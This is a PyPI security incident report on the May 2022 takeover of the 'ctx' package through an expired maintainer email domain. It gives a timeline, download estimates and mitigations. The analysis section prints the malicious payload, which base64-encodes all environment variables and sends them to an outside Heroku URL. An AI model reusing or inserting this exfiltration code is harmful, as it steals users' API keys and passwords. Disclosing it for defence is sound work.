Account Takeover and Malicious Replacement of ctx Project¶
ctx hosted project on PyPI was taken over via user account compromise
and replaced with a malicious project which contained runtime code which
collected the content of
os.environ.items() when instantiating
objects. The captured environment variables were sent as a base64 encoded query
parameter to a heroku application running at
Between 2022-05-14T19:18:36Z and 2022-05-24T10:07:17Z the release files listed below were hosted by PyPI at various times containing this malicious payload.
If you installed the package between May 14, 2022 and May 24, 2022, and your
environment variables contain sensitive data like passwords and API keys (like
AWS_SECRET_ACCESS_KEY), we advise you rotate your
passwords and keys, then perform an audit to determine if they were exploited.
|File||Upload Time||sha 256 digest|
The original and sole releases prior to the compromise are still available as:
|File||Upload Time||sha 256 digest|
- Disclosure date: 2022-05-24 (Response initiated via reports submitted via security policy on pypi.org)
- Disclosed by: Multiple Parties
Analysis and Mitigation¶
Once notified, a PyPI administrator confirmed that all current releases on the
index contained a similar exfiltration mechanism in the contents of the
ctx.py file of the release files:
class Ctx(dict): def __init__(self): self.sendRequest() def sendRequest(self): string = "" for _, value in os.environ.items(): string += value+" " message_bytes = string.encode('ascii') base64_bytes = base64.b64encode(message_bytes) base64_message = base64_bytes.decode('ascii') response = requests.get("https://anti-theft-web.herokuapp.com/hacked/"+base64_message)
Note: Above code is reduced to core mechanism for clarity.
With the malicious nature of all release files confirmed, the PyPI administrator used existing tools to:
- Remove the project, all releases, and all release files from the index
- Simultaneously prohibit the name
ctxfrom being re-registered without admin intervention
- Freeze the compromised user account of the owner
The activity log of the user, action log on the project, metadata for all historical uploads (including malicious), archives of the files, and their locations in object storage were backed up for further analysis.
WHOIS records were then queried to confirm that the domain associated with the owner user account had been recently registered on 2022-05-14T18:40:05Z. Activity logs for the owner user account were then used to confirm that malicious activity including password reset and uploads commenced just 12 minutes after domain registration. No mechanism for multi factor authentication was enabled for the owner user account.
The PyPI administrators made the decision not to restore the original files at this time, as PyPI policies state that actions on the index including deletion are immutable.
If there is sufficient reason to restore the removed files a process that complies with that contract will need to be developed.
ctx project was registered and uploaded to PyPI in 2014. According to
Libraries.io, the project on PyPI that declares it as a dependency is
context-engine. No known repositories that Libraries.io analyzes declares
ctx as a dependency. This is additionally confirmed by
Before the malicious releases were uploaded,
ctx saw on average 1600
downloads per day. After malicious releases were uploaded, downloads rose to a
peak of 4548 on 2022-05-20. Rises like these are common after new project
releases due to mirrors of PyPI syncing in new changes.
In total we estimate that 27,000 malicious versions of this project were downloaded from PyPI, with the majority of “overage” downloads being driven by mirrors.
This hypothesis is supported by data from analysis of requests to https://pypi.org/simple/ctx/ showing no associated rise in simple traffic from installers.
Potential Future Mitigation¶
Domain takeovers are a known attack vector for compromising individual user accounts on PyPI. PyPI administrators have responded to reports in the past of publicly visible email addresses associated with project metadata containing expired domains, which happened to match the domains of owner user accounts for projects.
Performing this analysis on an ongoing basis and freezing accounts with expired or near expiration domains is a potential mitigation that could protect absent maintainers in the future, at the cost of increased support burden on the team of PyPI moderators and admins.
We also advise all PyPI users, but especially project maintainers, to enable multi factor authentication on their PyPI accounts following the references at https://pypi.org/help/#twofa.
Additionally, version-pinning and using hash checking mode would prevent this attack, which depends on users automatically upgrading to the latest available version at install-time.
The safety and pip-audit projects can be used to check for known vulnerabilities in your dependencies:
You can join the security-sig mailing list to discuss Python security: https://mail.python.org/mailman3/lists/security-sig.python.org/
- Unknown: Domain hosting email for
ctxowner user account expired
- 2022-05-10: Password reset attempted for
ctxowner user account
- 2022-05-14T18:40:05Z: Domain associated with
ctxowner user account registered
ctxowner user account password successfully reset
- 2022-05-14T19:18:36Z - 2022-05-21T12:41:57Z: Malicious versions of
- 2022-05-21T12:50:23.107588: Original benign versions of
ctxremoved from index
- 2022-05-24: Reports of project takeover submitted on multiple channels including email@example.com
- 2022-05-24T10:07:17Z: All malicious releases of
ctxproject removed from index, project name prohibited from re-registration, and owner user account frozen